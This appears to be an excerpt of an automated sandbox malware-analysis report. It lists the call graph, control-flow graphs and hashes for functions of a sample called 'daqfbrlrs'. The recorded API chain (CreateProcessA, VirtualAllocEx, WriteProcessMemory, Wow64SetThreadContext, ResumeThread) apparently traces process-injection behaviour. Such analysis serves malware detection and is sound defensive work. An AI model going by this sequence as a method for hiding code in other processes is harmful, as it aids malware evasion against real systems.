25286->25272 25288 4f4e125 25287->25288 25289 4f4d74c 25287->25289 25355 4f4fed8 25288->25355 25360 4f4fec8 25288->25360 25289->25255 25293 4f4ddcb 25292->25293 25373 4f4fde1 25293->25373 25378 4f4fdf0 25293->25378 25294 4f4d74c 25294->25255 25391 4f42030 25297->25391 25395 4f41fe8 25297->25395 25399 4f4202e 25297->25399 25298 4f4d74c 25298->25255 25403 4f4fd37 25302->25403 25409 4f4fd48 25302->25409 25303 4f4e640 25307 4f4e53f 25306->25307 25308 4f4d74c 25306->25308 25415 4f4fd98 25307->25415 25420 4f4fd88 25307->25420 25308->25255 25313 4f4fdf0 2 API calls 25311->25313 25314 4f4fde1 2 API calls 25311->25314 25312 4f4e5bf 25313->25312 25314->25312 25316 4f4dd3a 25315->25316 25433 4f4ec38 25316->25433 25438 4f4ec29 25316->25438 25317 4f4d74c 25317->25255 25321 4f4e124 25320->25321 25322 4f4d74c 25320->25322 25323 4f4fed8 2 API calls 25321->25323 25324 4f4fec8 2 API calls 25321->25324 25322->25255 25323->25322 25324->25322 25326 4f4e34a 25325->25326 25328 4f4fdf0 2 API calls 25326->25328 25329 4f4fde1 2 API calls 25326->25329 25327 4f4d74c 25327->25255 25328->25327 25329->25327 25331 4f4e53f 25330->25331 25333 4f4fd98 2 API calls 25331->25333 25334 4f4fd88 2 API calls 25331->25334 25332 4f4d74c 25332->25255 25333->25332 25334->25332 25336 4f4e366 25335->25336 25337 4f4d74c 25335->25337 25338 4f4fdf0 2 API calls 25336->25338 25339 4f4fde1 2 API calls 25336->25339 25337->25255 25338->25337 25339->25337 25341 4f4da87 25340->25341 25342 4f4d74c 25341->25342 25343 4f4fdf0 2 API calls 25341->25343 25344 4f4fde1 2 API calls 25341->25344 25342->25255 25343->25342 25344->25342 25346 4f4e108 25345->25346 25348 4f4fed8 2 API calls 25346->25348 25349 4f4fec8 2 API calls 25346->25349 25347 4f4d74c 25347->25255 25348->25347 25349->25347 25351 4f4e518 25350->25351 25353 4f4fd98 2 API calls 25351->25353 25354 4f4fd88 2 API calls 25351->25354 25352 4f4d74c 25352->25255 25353->25352 25354->25352 25356 4f4feed 25355->25356 25365 4f42d00 25356->25365 25369 4f42d08 25356->25369 25357 4f4ff03 25357->25289 25361 4f4feed 25360->25361 25363 4f42d00 ResumeThread 25361->25363 25364 4f42d08 ResumeThread 25361->25364 25362 4f4ff03 25362->25289 25363->25362 25364->25362 25366 4f42d08 ResumeThread 25365->25366 25368 4f42d98 25366->25368 25368->25357 25370 4f42d4c ResumeThread 25369->25370 25372 4f42d98 25370->25372 25372->25357 25374 4f4fe05 25373->25374 25383 4f42970 25374->25383 25387 4f42968 25374->25387 25375 4f4fe27 25375->25294 25379 4f4fe05 25378->25379 25381 4f42970 WriteProcessMemory 25379->25381 25382 4f42968 WriteProcessMemory 25379->25382 25380 4f4fe27 25380->25294 25381->25380 25382->25380 25384 4f429b9 WriteProcessMemory 25383->25384 25386 4f42a52 25384->25386 25386->25375 25388 4f42970 WriteProcessMemory 25387->25388 25390 4f42a52 25388->25390 25390->25375 25392 4f42069 Wow64SetThreadContext 25391->25392 25394 4f420f1 25392->25394 25394->25298 25396 4f4200d Wow64SetThreadContext 25395->25396 25398 4f420f1 25396->25398 25398->25298 25400 4f42030 Wow64SetThreadContext 25399->25400 25402 4f420f1 25400->25402 25402->25298 25404 4f4fd5d 25403->25404 25406 4f42030 Wow64SetThreadContext 25404->25406 25407 4f4202e Wow64SetThreadContext 25404->25407 25408 4f41fe8 Wow64SetThreadContext 25404->25408 25405 4f4fd76 25405->25303 25406->25405 25407->25405 25408->25405 25410 4f4fd5d 25409->25410 25412 4f42030 Wow64SetThreadContext 25410->25412 25413 4f4202e Wow64SetThreadContext 25410->25413 25414 4f41fe8 Wow64SetThreadContext 25410->25414 25411 4f4fd76 25411->25303 25412->25411 25413->25411 25414->25411 25416 4f4fdad 25415->25416 25425 4f426b0 25416->25425 25429 4f426a9 25416->25429 25417 4f4fdcf 25417->25308 25421 4f4fdad 25420->25421 25423 4f426b0 VirtualAllocEx 25421->25423 25424 4f426a9 VirtualAllocEx 25421->25424 25422 4f4fdcf 25422->25308 25423->25422 25424->25422 25426 4f426f4 VirtualAllocEx 25425->25426 25428 4f4276c 25426->25428 25428->25417 25430 4f426b0 VirtualAllocEx 25429->25430 25432 4f4276c 25430->25432 25432->25417 25434 4f4ec4f 25433->25434 25435 4f4ec71 25434->25435 25443 4f4eeb1 25434->25443 25448 4f4ef1f 25434->25448 25435->25317 25439 4f4ec4f 25438->25439 25440 4f4ec71 25439->25440 25441 4f4eeb1 2 API calls 25439->25441 25442 4f4ef1f 2 API calls 25439->25442 25440->25317 25441->25440 25442->25440 25444 4f4eeb7 25443->25444 25453 4f41c80 25444->25453 25457 4f41c7c 25444->25457 25449 4f4ef47 25448->25449 25451 4f41c80 CreateProcessA 25449->25451 25452 4f41c7c CreateProcessA 25449->25452 25450 4f4f47d 25451->25450 25452->25450 25455 4f41d00 CreateProcessA 25453->25455 25456 4f41efc 25455->25456 25458 4f41c80 CreateProcessA 25457->25458 25460 4f41efc 25458->25460

                                                            Executed Functions

                                                            Function 02D71968 Relevance: 3.1, Strings: 2, Instructions: 575COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 149 2d71968-2d719df 151 2d719e6-2d719fe 149->151 152 2d719e1 149->152 154 2d71f84-2d71f9d 151->154 155 2d71a04-2d71b71 151->155 152->151 158 2d72024-2d7206d 154->158 159 2d71fa3-2d71fc5 154->159 212 2d71b73-2d71ba9 155->212 213 2d71bab-2d71bad 155->213 170 2d7207f-2d72087 158->170 171 2d7206f-2d7207a 158->171 163 2d71fcb-2d71fd3 159->163 164 2d72269 159->164 163->164 166 2d71fd9-2d71fef 163->166 169 2d7226e-2d72277 164->169 166->164 168 2d71ff5-2d7201f call 2d71028 166->168 168->169 174 2d72284 169->174 175 2d72279 169->175 177 2d720ac 170->177 178 2d72089-2d720aa 170->178 176 2d72122-2d72168 171->176 186 2d72285 174->186 175->174 188 2d7216e-2d7219e 176->188 189 2d721fd-2d72267 176->189 180 2d720b3-2d720b5 177->180 178->180 183 2d720b7-2d720bf 180->183 184 2d720c1-2d720e1 180->184 183->176 184->176 193 2d720e3-2d720ec 184->193 186->186 188->164 196 2d721a4-2d721ab 188->196 189->169 193->164 195 2d720f2-2d72120 193->195 195->176 195->193 196->164 197 2d721b1-2d721bd 196->197 197->164 199 2d721c3-2d721cf 197->199 199->164 200 2d721d5-2d721fb 199->200 200->169 212->213 214 2d71bb3-2d71bbd 213->214 215 2d71baf-2d71bb1 213->215 216 2d71bbf-2d71bd5 214->216 215->216 219 2d71bd7-2d71bd9 216->219 220 2d71bdb-2d71be3 216->220 222 2d71be5-2d71bea 219->222 220->222 224 2d71bfd-2d71c2b 222->224 225 2d71bec-2d71bf7 222->225 228 2d71c60-2d71c6a 224->228 229 2d71c2d-2d71c3a 224->229 225->224 230 2d71c73-2d71cff 228->230 231 2d71c6c 228->231 229->228 233 2d71c3c-2d71c49 229->233 243 2d71d41-2d71d4f 230->243 244 2d71d01-2d71d3f 230->244 231->230 237 2d71c4f-2d71c5a 233->237 238 2d71c4b-2d71c4d 233->238 237->228 238->228 247 2d71d5a-2d71d93 call 2d72bc0 243->247 244->247 251 2d71d99-2d71e56 247->251 256 2d71e84-2d71ea0 251->256 257 2d71e58-2d71e82 251->257 260 2d71ea2 256->260 261 2d71eae 256->261 257->256 260->261 262 2d71eaf 261->262 262->262
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: cd0d7494594747b7f67a42d41f2edf94b6e0a9d3c27a0669a74cfb6d52053caa
                                                            • Instruction ID: 7c2749e9de1a69273cd549c5e3873fdb1bc59af408c94124231f13e049f917a7
                                                            • Opcode Fuzzy Hash: cd0d7494594747b7f67a42d41f2edf94b6e0a9d3c27a0669a74cfb6d52053caa
                                                            • Instruction Fuzzy Hash: A7326D35A012299FDB28CF69D884AAEB7F2BF88300F11C669D459EB754EB349D41CF50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D7195C Relevance: 2.9, Strings: 2, Instructions: 355COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 265 2d7195c-2d719df 267 2d719e6-2d719fe 265->267 268 2d719e1 265->268 270 2d71f84-2d71f9d 267->270 271 2d71a04-2d71b71 267->271 268->267 274 2d72024-2d7206d 270->274 275 2d71fa3-2d71fc5 270->275 328 2d71b73-2d71ba9 271->328 329 2d71bab-2d71bad 271->329 286 2d7207f-2d72087 274->286 287 2d7206f-2d7207a 274->287 279 2d71fcb-2d71fd3 275->279 280 2d72269 275->280 279->280 282 2d71fd9-2d71fef 279->282 285 2d7226e-2d72277 280->285 282->280 284 2d71ff5-2d7201f call 2d71028 282->284 284->285 290 2d72284 285->290 291 2d72279 285->291 293 2d720ac 286->293 294 2d72089-2d720aa 286->294 292 2d72122-2d72168 287->292 302 2d72285 290->302 291->290 304 2d7216e-2d7219e 292->304 305 2d721fd-2d72267 292->305 296 2d720b3-2d720b5 293->296 294->296 299 2d720b7-2d720bf 296->299 300 2d720c1-2d720e1 296->300 299->292 300->292 309 2d720e3-2d720ec 300->309 302->302 304->280 312 2d721a4-2d721ab 304->312 305->285 309->280 311 2d720f2-2d72120 309->311 311->292 311->309 312->280 313 2d721b1-2d721bd 312->313 313->280 315 2d721c3-2d721cf 313->315 315->280 316 2d721d5-2d721fb 315->316 316->285 328->329 330 2d71bb3-2d71bbd 329->330 331 2d71baf-2d71bb1 329->331 332 2d71bbf-2d71bd5 330->332 331->332 335 2d71bd7-2d71bd9 332->335 336 2d71bdb-2d71be3 332->336 338 2d71be5-2d71bea 335->338 336->338 340 2d71bfd-2d71c2b 338->340 341 2d71bec-2d71bf7 338->341 344 2d71c60-2d71c6a 340->344 345 2d71c2d-2d71c3a 340->345 341->340 346 2d71c73-2d71cff 344->346 347 2d71c6c 344->347 345->344 349 2d71c3c-2d71c49 345->349 359 2d71d41-2d71d4f 346->359 360 2d71d01-2d71d3f 346->360 347->346 353 2d71c4f-2d71c5a 349->353 354 2d71c4b-2d71c4d 349->354 353->344 354->344 363 2d71d5a-2d71d93 call 2d72bc0 359->363 360->363 367 2d71d99-2d71e56 363->367 372 2d71e84-2d71ea0 367->372 373 2d71e58-2d71e82 367->373 376 2d71ea2 372->376 377 2d71eae 372->377 373->372 376->377 378 2d71eaf 377->378 378->378
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: a592db6be2935f363cdb774c68bf58b6775f5fc4fa22bb5aea5f827b74a5c260
                                                            • Instruction ID: 5809b28e193b3dea7fad257256d6fd865746558916e814595e7afedc33e25df6
                                                            • Opcode Fuzzy Hash: a592db6be2935f363cdb774c68bf58b6775f5fc4fa22bb5aea5f827b74a5c260
                                                            • Instruction Fuzzy Hash: AAD17D35E011299FDB28DF69D840AAEB7F2BFC8304F118669D449EB358EB349941CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D719A2 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 381 2d719a2-2d719b8 383 2d719c5-2d719df 381->383 384 2d719ba-2d719c4 381->384 385 2d719e6-2d719fe 383->385 386 2d719e1 383->386 388 2d71f84-2d71f9d 385->388 389 2d71a04-2d71b71 385->389 386->385 392 2d72024-2d7206d 388->392 393 2d71fa3-2d71fc5 388->393 446 2d71b73-2d71ba9 389->446 447 2d71bab-2d71bad 389->447 404 2d7207f-2d72087 392->404 405 2d7206f-2d7207a 392->405 397 2d71fcb-2d71fd3 393->397 398 2d72269 393->398 397->398 400 2d71fd9-2d71fef 397->400 403 2d7226e-2d72277 398->403 400->398 402 2d71ff5-2d7201f call 2d71028 400->402 402->403 408 2d72284 403->408 409 2d72279 403->409 411 2d720ac 404->411 412 2d72089-2d720aa 404->412 410 2d72122-2d72168 405->410 420 2d72285 408->420 409->408 422 2d7216e-2d7219e 410->422 423 2d721fd-2d72267 410->423 414 2d720b3-2d720b5 411->414 412->414 417 2d720b7-2d720bf 414->417 418 2d720c1-2d720e1 414->418 417->410 418->410 427 2d720e3-2d720ec 418->427 420->420 422->398 430 2d721a4-2d721ab 422->430 423->403 427->398 429 2d720f2-2d72120 427->429 429->410 429->427 430->398 431 2d721b1-2d721bd 430->431 431->398 433 2d721c3-2d721cf 431->433 433->398 434 2d721d5-2d721fb 433->434 434->403 446->447 448 2d71bb3-2d71bbd 447->448 449 2d71baf-2d71bb1 447->449 450 2d71bbf-2d71bd5 448->450 449->450 453 2d71bd7-2d71bd9 450->453 454 2d71bdb-2d71be3 450->454 456 2d71be5-2d71bea 453->456 454->456 458 2d71bfd-2d71c2b 456->458 459 2d71bec-2d71bf7 456->459 462 2d71c60-2d71c6a 458->462 463 2d71c2d-2d71c3a 458->463 459->458 464 2d71c73-2d71cff 462->464 465 2d71c6c 462->465 463->462 467 2d71c3c-2d71c49 463->467 477 2d71d41-2d71d4f 464->477 478 2d71d01-2d71d3f 464->478 465->464 471 2d71c4f-2d71c5a 467->471 472 2d71c4b-2d71c4d 467->472 471->462 472->462 481 2d71d5a-2d71d93 call 2d72bc0 477->481 478->481 485 2d71d99-2d71e56 481->485 490 2d71e84-2d71ea0 485->490 491 2d71e58-2d71e82 485->491 494 2d71ea2 490->494 495 2d71eae 490->495 491->490 494->495 496 2d71eaf 495->496 496->496
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: 15870233e6402e33790d6c6c8ed95b1dff97206f98e1f83d530c2be68c5d2799
                                                            • Instruction ID: 7fcf3d092a97c1f13bc3650996f1332f3753eb7489a4e2be02c5b75eda298754
                                                            • Opcode Fuzzy Hash: 15870233e6402e33790d6c6c8ed95b1dff97206f98e1f83d530c2be68c5d2799
                                                            • Instruction Fuzzy Hash: 82D16C35E011298FDB28DF69D840AAEB7F2BFC8304F118669D449EB358EB349941CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D71A16 Relevance: 2.8, Strings: 2, Instructions: 319COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 499 2d71a16-2d71b71 517 2d71b73-2d71ba9 499->517 518 2d71bab-2d71bad 499->518 517->518 519 2d71bb3-2d71bbd 518->519 520 2d71baf-2d71bb1 518->520 521 2d71bbf-2d71bd5 519->521 520->521 524 2d71bd7-2d71bd9 521->524 525 2d71bdb-2d71be3 521->525 527 2d71be5-2d71bea 524->527 525->527 529 2d71bfd-2d71c2b 527->529 530 2d71bec-2d71bf7 527->530 533 2d71c60-2d71c6a 529->533 534 2d71c2d-2d71c3a 529->534 530->529 535 2d71c73-2d71cff 533->535 536 2d71c6c 533->536 534->533 538 2d71c3c-2d71c49 534->538 548 2d71d41-2d71d4f 535->548 549 2d71d01-2d71d3f 535->549 536->535 542 2d71c4f-2d71c5a 538->542 543 2d71c4b-2d71c4d 538->543 542->533 543->533 552 2d71d5a-2d71d93 call 2d72bc0 548->552 549->552 556 2d71d99-2d71e56 552->556 561 2d71e84-2d71ea0 556->561 562 2d71e58-2d71e82 556->562 565 2d71ea2 561->565 566 2d71eae 561->566 562->561 565->566 567 2d71eaf 566->567 567->567
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q$\s^q
                                                            • API String ID: 0-2586804783
                                                            • Opcode ID: cdfcd294dc239a423cafd469fe26883ab5e50117dfa0aec69127b107faa651a1
                                                            • Instruction ID: e8d6f978d5d5cf1ea263b0e9a2c516f39069b579b6e4fc9c90f258a0e63f2fd0
                                                            • Opcode Fuzzy Hash: cdfcd294dc239a423cafd469fe26883ab5e50117dfa0aec69127b107faa651a1
                                                            • Instruction Fuzzy Hash: 41C17E35E011258FDB28DF79D850AAEB7F2BFC8305F118668D419EB358EB349941CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06D3F138 Relevance: 2.7, Strings: 2, Instructions: 247COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 570 6d3f138-6d3f160 571 6d3f162 570->571 572 6d3f167-6d3f19b 570->572 571->572 575 6d3f19e-6d3f1a4 572->575 576 6d3f1a6 575->576 577 6d3f1ad-6d3f1ae 575->577 576->577 578 6d3f1b0-6d3f1d9 576->578 579 6d3f430-6d3f450 576->579 580 6d3f4b5-6d3f4d7 576->580 581 6d3f45a 576->581 582 6d3f27f-6d3f287 576->582 583 6d3f1e3-6d3f201 576->583 584 6d3f3e2-6d3f3fc 576->584 585 6d3f362-6d3f382 576->585 586 6d3f4e1 576->586 587 6d3f3ab-6d3f3ae 576->587 588 6d3f2c9-6d3f30a call 6d35544 576->588 589 6d3f38e-6d3f3a9 576->589 590 6d3f20c-6d3f22f call 6d3dc78 576->590 577->590 578->575 615 6d3f1db-6d3f1e1 578->615 609 6d3f452-6d3f458 579->609 610 6d3f41e-6d3f424 579->610 597 6d3f4a3-6d3f4a9 580->597 614 6d3f4d9-6d3f4df 580->614 581->597 607 6d3f28d-6d3f2b6 582->607 584->581 606 6d3f3fe-6d3f412 584->606 591 6d3f350-6d3f356 585->591 592 6d3f384-6d3f38c 585->592 604 6d3f3ba-6d3f3d1 587->604 622 6d3f314-6d3f319 588->622 623 6d3f30c-6d3f312 588->623 589->591 605 6d3f234-6d3f253 590->605 599 6d3f358 591->599 600 6d3f35f-6d3f360 591->600 592->591 612 6d3f4b2-6d3f4b3 597->612 613 6d3f4ab 597->613 599->579 599->580 599->581 599->584 599->585 599->586 599->587 599->589 599->600 600->589 604->591 616 6d3f3d7-6d3f3dd 604->616 605->583 624 6d3f255-6d3f26e 605->624 606->610 617 6d3f414-6d3f41c 606->617 607->575 608 6d3f2bc-6d3f2c4 607->608 608->575 609->610 620 6d3f426 610->620 621 6d3f42d-6d3f42e 610->621 612->580 613->580 613->586 613->612 614->597 615->575 616->591 617->610 620->579 620->580 620->581 620->586 620->621 621->581 625 6d3f31b-6d3f31c 622->625 626 6d3f31e-6d3f34e 622->626 623->622 624->575 627 6d3f274-6d3f27a 624->627 625->626 626->591 627->575
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2512037383.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_6d20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Te^q$yv{%
                                                            • API String ID: 0-401465551
                                                            • Opcode ID: 30136051e3813fdb33f2d078a65447a978fb0a13cbf077717dfad17406aebce8
                                                            • Instruction ID: 48dca79f0546e925eafdc8b6554aabeb0523ca796b088c4ad1c6ce40c3bef44c
                                                            • Opcode Fuzzy Hash: 30136051e3813fdb33f2d078a65447a978fb0a13cbf077717dfad17406aebce8
                                                            • Instruction Fuzzy Hash: 6DB1D4B4E01228CFEB64DFA9E944B9DBBF2FF89300F1090A9D409A7255DB749985CF41
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D72EF8 Relevance: 2.7, Strings: 2, Instructions: 171COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 630 2d72ef8-2d72f20 634 2d72f22-2d72f30 630->634 635 2d72f31 call 2d72af0 630->635 637 2d72f36-2d72f38 635->637 638 2d72f3a-2d72f48 637->638 639 2d72f49-2d72f63 637->639 641 2d7304e-2d730d6 639->641 642 2d72f69-2d72f76 639->642 642->641 643 2d72f7c-2d72f86 642->643 643->641 645 2d72f8c-2d72f96 643->645 645->641 646 2d72f9c-2d72fb6 645->646 648 2d72fb9-2d72fd7 646->648 648->641 649 2d72fd9-2d72ffe 648->649 649->641 651 2d73000-2d73012 649->651 651->648 652 2d73014-2d73016 651->652 654 2d73019-2d7301e 652->654 654->641 655 2d73020-2d7302a 654->655 655->654 657 2d7302c-2d7304d 655->657
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $RkIU
                                                            • API String ID: 0-2635308942
                                                            • Opcode ID: 630a0d1b41a1b3fc7124899d57ddf0e4150e8a2c696d0eb2aed5e09e6a419378
                                                            • Instruction ID: 00761046bdf9db7b33218654996af863816159ab277fa212640945702fb4aca1
                                                            • Opcode Fuzzy Hash: 630a0d1b41a1b3fc7124899d57ddf0e4150e8a2c696d0eb2aed5e09e6a419378
                                                            • Instruction Fuzzy Hash: 97519B31F001158FCB68CFADD8846AEB7E2EBC9211B248579E619C7358EB35ED51CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D71290 Relevance: 1.5, Strings: 1, Instructions: 211COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: \s^q
                                                            • API String ID: 0-4111632511
                                                            • Opcode ID: a6506be6a4acf248a7787163e048f6778b76d0555b389daa8328fea1b35844a4
                                                            • Instruction ID: f142780ac1c577a9e0637a3f2237ee8739dcf8a39d95cbb243564cc8a342b3a5
                                                            • Opcode Fuzzy Hash: a6506be6a4acf248a7787163e048f6778b76d0555b389daa8328fea1b35844a4
                                                            • Instruction Fuzzy Hash: 9781F8B8E4010E9FDF14CFA9D584AAEBBB1BF48304F10A669D416EB394DB35A941CF50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D72BC0 Relevance: .2, Instructions: 239COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6e527f5ddef73d25a02d44327bd40e112eb9ea400f4ab81009d955fb541d886e
                                                            • Instruction ID: 3bb9b0f66e07f6d2ff74cff79b3ab54f6049ee50ae7a5ad99b5f7b648c417e19
                                                            • Opcode Fuzzy Hash: 6e527f5ddef73d25a02d44327bd40e112eb9ea400f4ab81009d955fb541d886e
                                                            • Instruction Fuzzy Hash: 5E817E32B101259FC714DB69DC84A5EB7E3AFC8714F1A8165E80ADB369EE34EC41CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D72990 Relevance: 2.6, Strings: 2, Instructions: 124COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 664 2d72990-2d729bc 668 2d729be-2d729c5 664->668 669 2d729c8 call 2d72af0 664->669 670 2d729ce-2d729d0 669->670 671 2d729d2-2d729d9 670->671 672 2d729dc-2d729f6 670->672 674 2d729fc-2d72a09 672->674 675 2d72ad9-2d72aeb 672->675 674->675 676 2d72a0f-2d72a19 674->676 676->675 678 2d72a1f-2d72a29 676->678 678->675 679 2d72a2f-2d72a4a 678->679 680 2d72a4d-2d72a65 679->680 680->675 681 2d72a67-2d72a93 680->681 681->675 682 2d72a95-2d72aa6 681->682 682->680 683 2d72aa8-2d72aaa 682->683 684 2d72aad-2d72ab2 683->684 684->675 685 2d72ab4-2d72abe 684->685 685->684 686 2d72ac0-2d72ad6 685->686
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $RkIU
                                                            • API String ID: 0-2635308942
                                                            • Opcode ID: 0fd1aba683cd543222ca8804f1b0b0e37d6aeb5d74866ec161b112ce24903e61
                                                            • Instruction ID: 17bb271d61efa2f8350bb0edf0eab9317c1885e7a0da0f6cf0c763b691898212
                                                            • Opcode Fuzzy Hash: 0fd1aba683cd543222ca8804f1b0b0e37d6aeb5d74866ec161b112ce24903e61
                                                            • Instruction Fuzzy Hash: 61416E71F0011A8BDB14CF99D885AAEFBB2FB84311F14C52AD515D7708D334E991CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D74370 Relevance: 2.6, Strings: 2, Instructions: 92COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Te^q$Te^q
                                                            • API String ID: 0-3743469327
                                                            • Opcode ID: 1e4762e07f099016381d172f4b61be90e450f8a1c20a5e75924c3f218ee882c6
                                                            • Instruction ID: f42c9a29468df58d7ec9566e6061a501d06b00ee254b0a4210349b8dcef7fc31
                                                            • Opcode Fuzzy Hash: 1e4762e07f099016381d172f4b61be90e450f8a1c20a5e75924c3f218ee882c6
                                                            • Instruction Fuzzy Hash: 5F318270B001459FCB08EFA8D594AADBBE7AF88300F24856EE005EB365DE75DD45CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02D74390 Relevance: 2.6, Strings: 2, Instructions: 84COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2466106834.0000000002D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D70000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_2d70000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Te^q$Te^q
                                                            • API String ID: 0-3743469327
                                                            • Opcode ID: 281164455494456d23d252d7edcc0b74790bc40fb85798fa793862e063d13125
                                                            • Instruction ID: 34a3be702b81fed3daf37c13cb4056258211d0f6d2150ac5223f26eb903d7ac2
                                                            • Opcode Fuzzy Hash: 281164455494456d23d252d7edcc0b74790bc40fb85798fa793862e063d13125
                                                            • Instruction Fuzzy Hash: 60318070B001099FCB08EFA9D554AADBAF7BF88700F24856DE406EB365DE75DD058B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04F41C7C Relevance: 1.8, APIs: 1, Instructions: 263processCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04F41EE7
                                                            Memory Dump Source
                                                            • Source File: 0000000A.00000002.2504088307.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_10_2_4f40000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID: CreateProcess
                                                            • String ID:
                                                            • API String ID: 963392458-0
                                                            • Opcode ID: e4fc145c5dabb2b362e66b45e769c4b227eb207252133a1c5e73c606dfc6b1ab
                                                            • Instruction ID: 3fba155137db25303475309b0569351cf01922c439953f7de01492d6642e6df4
                                                            • Opcode Fuzzy Hash: e4fc145c5dabb2b362e66b45e769c4b227eb207252133a1c5e73c606dfc6b1ab
                                                            • Instruction Fuzzy Hash: 4BA112B4D00218CFDB20CFA9C9457EEBBF1BF49314F149169E858A7244DB34A986CF95
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

